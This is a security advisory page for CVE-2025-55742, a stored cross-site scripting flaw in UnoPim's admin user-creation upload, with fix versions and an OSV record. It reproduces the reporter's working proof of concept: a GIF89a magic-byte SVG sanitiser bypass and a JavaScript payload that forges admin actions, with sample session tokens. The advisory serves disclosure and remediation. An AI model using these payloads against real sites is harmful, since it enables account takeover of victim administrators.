CVE-2025-55742: Unopim/unopim Cross-Site Scripting Vulnerability
MODERATE
Advisory Identifier:
GHSA-xr97-25v7-hc2q
Advisory Summary
CVE-2025-55742 is a MODERATE (CVSS 6.8) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Unopim/unopim libraries in the Packagist ecosystem. The issue involves unopim has stored cross-site scripting vulnerability in user creation functionality. Remediation is available by upgrading affected packages to version 0.2.1.
CVE-2025-55742 at a Glance
CVE Identifier
CVE-2025-55742
GHSA Identifier
GHSA-xr97-25v7-hc2q
Severity
MODERATE
CVSS v3.1 Base Score
6.8
CWE Classification
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product
Unopim/unopim
Package Ecosystem
Packagist
Published Date
Last Updated
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
High (PR:H)
User Interaction
Required (UI:R)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2025-55742
To remediate this vulnerability, upgrade all affected Unopim/unopim dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
unopim/unopim
fixed: 0.2.1
Upgrade unopim/unopim to 0.2.1
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for unopim/unopimHow to Check if You Are Affected
To determine whether your application is affected by CVE-2025-55742, inspect your project dependencies for Unopim/unopim:
inspect dependencies for unopim/unopimAnalyze the terminal output to locate any version of Unopim/unopim in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Unopim/unopim, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
Affected Functionality: User creation
Endpoint: `/admin/settings/users/create`
### Details
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19
See the mimetype is checked for validation.
Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes
for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.
File containing <svg> is considered as svg and is sanitized:
```
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
```
Sanitization bypass using MIME type manipulation:
```
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
```
### PoC
Upload `POC.html` as image.
File content:
```
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
```
I changed extension to .html because even though POC.svg successfully bypassed the sanitization.
When accessing the URL, the page didn't render as it should starts with <.
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
### Impact
Suppose another admin visits the image link, the attacker can perform any operation as the victim.
The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )
##### Example
> create a product behalf of victim.
John doe (default admin ) creates another admin ( victimadmin@test.com )
When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.
// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.
Please see the detailed POC video for more details:
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Extended POC for performing the action shown in video:
POC.html:
```
<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';
// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');
// Define the headers
const headers = {
'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
'X-Requested-With': 'XMLHttpRequest',
'Accept': 'application/json, text/plain, */*',
'Origin': 'http://localhost:8000',
'Referer': 'http://localhost:8000/admin/catalog/products',
'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};
// Send the POST request
fetch(url, {
method: 'POST',
headers: headers,
body: formData,
credentials: 'include' // Include cookies in the request
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json(); // Assuming the response is JSON
})
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
</script>
<html>
```
// make sure to update the cookies and CSRF tokens in the script to the attacker's.
Recommendation:
Check file extension: whitelist allowed extensions.
Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.
Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.
Affected Version: 0.1.6
CVE-2025-55742 Affected Unopim/unopim Versions
1 component(s)
Fixed Versions:
0.2.1
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
unopim/unopim
|
Packagist |
< 0.2.1
|
0.2.1
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q
NVD — CVE-2025-55742
NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-55742
Security Fix Commit
FIX COMMIT
https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75
Security Fix Commit
FIX COMMIT
https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902
Security Fix Commit
FIX COMMIT
https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3
drive.proton.me/urls/kcktswha3c
WEB
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Unopim/unopim Source Repository
REPOSITORY
https://github.com/unopim/unopim
Unopim/unopim Source Repository
REPOSITORY
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19
Frequently Asked Questions
What is CVE-2025-55742?
CVE-2025-55742 is a security vulnerability in Unopim/unopim involving UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Unopim/unopim versions are affected?
Affected versions include releases prior to 0.2.1 across affected packages: unopim/unopim.
What version fixes CVE-2025-55742?
Upgrading to 0.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is unopim/unopim affected?
Yes, unopim/unopim is affected in releases prior to 0.2.1. Upgrade your dependency to 0.2.1 or later.
What is the CVSS score of CVE-2025-55742?
CVE-2025-55742 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-55742?
CVE-2025-55742 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2025-55742?
Run the dependency tree command: 'inspect dependencies for unopim/unopim'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-xr97-25v7-hc2q",
"modified" : "2025-08-26T15:26:36Z",
"published" : "2025-08-21T14:25:23Z",
"aliases" : [ "CVE-2025-55742" ],
"summary" : "UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality",
"details" : "### Summary\nAffected Functionality: User creation\nEndpoint: `/admin/settings/users/create`\n\n### Details\nhttps://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19\nSee the mimetype is checked for validation.\nMime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes\nfor e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.\n\nFile containing <svg> is considered as svg and is sanitized:\n\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\" onload=\"alert(5)\">\n <rect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert('Hover')\"></rect>\n <text x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" >Proof of Concept</text>\n</svg>\n```\n\n\nSanitization bypass using MIME type manipulation:\n\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\nGIF89a\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\" onload=\"alert(5)\">\n <rect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert('Hover')\"></rect>\n <text x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" >Proof of Concept</text>\n</svg>\n```\n\n\n\n### PoC\nUpload `POC.html` as image.\nFile content:\n```\nGIF89a\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\" onload=\"alert(document.cookie)\">\n <rect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(document.domain)\"></rect>\n <text x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" >Proof of Concept</text>\n</svg>\n```\nI changed extension to .html because even though POC.svg successfully bypassed the sanitization. \nWhen accessing the URL, the page didn't render as it should starts with <.\n\n\nSince html doesn't have any such limitation we can access it.\nAccess the image URL to see the XSS popup.\n\n\n### Impact\nSuppose another admin visits the image link, the attacker can perform any operation as the victim.\nThe session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )\n##### Example\n> create a product behalf of victim.\n\nJohn doe (default admin ) creates another admin ( victimadmin@test.com )\nWhen the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. \n\n\n// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.\nPlease see the detailed POC video for more details:\nhttps://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2\n\nExtended POC for performing the action shown in video:\nPOC.html:\n```\n<html>\n<script>\nconst url = 'http://localhost:8000/admin/catalog/products/create';\n\n// Create a FormData object to hold the form data\nconst formData = new FormData();\nformData.append('type', 'simple');\nformData.append('attribute_family_id', '1');\nformData.append('sku', 'Created-by-ADMIN-VICTIM888');\n\n// Define the headers\nconst headers = {\n 'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Accept': 'application/json, text/plain, */*',\n 'Origin': 'http://localhost:8000',\n 'Referer': 'http://localhost:8000/admin/catalog/products',\n 'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'\n};\n\n// Send the POST request\nfetch(url, {\n method: 'POST',\n headers: headers,\n body: formData,\n credentials: 'include' // Include cookies in the request\n})\n.then(response => {\n if (!response.ok) {\n throw new Error('Network response was not ok ' + response.statusText);\n }\n return response.json(); // Assuming the response is JSON\n})\n.then(data => {\n console.log('Success:', data);\n})\n.catch(error => {\n console.error('Error:', error);\n});\n</script>\n<html>\n```\n// make sure to update the cookies and CSRF tokens in the script to the attacker's.\n\nRecommendation:\nCheck file extension: whitelist allowed extensions.\nCheck mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.\nCheck file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.\n\nAffected Version: 0.1.6\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "unopim/unopim"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.2.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.2.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55742"
}, {
"type" : "WEB",
"url" : "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
}, {
"type" : "WEB",
"url" : "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
}, {
"type" : "WEB",
"url" : "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
}, {
"type" : "WEB",
"url" : "https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/unopim/unopim"
}, {
"type" : "WEB",
"url" : "https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-21T14:25:23Z",
"nvd_published_at" : "2025-08-21T16:15:34Z"
}
}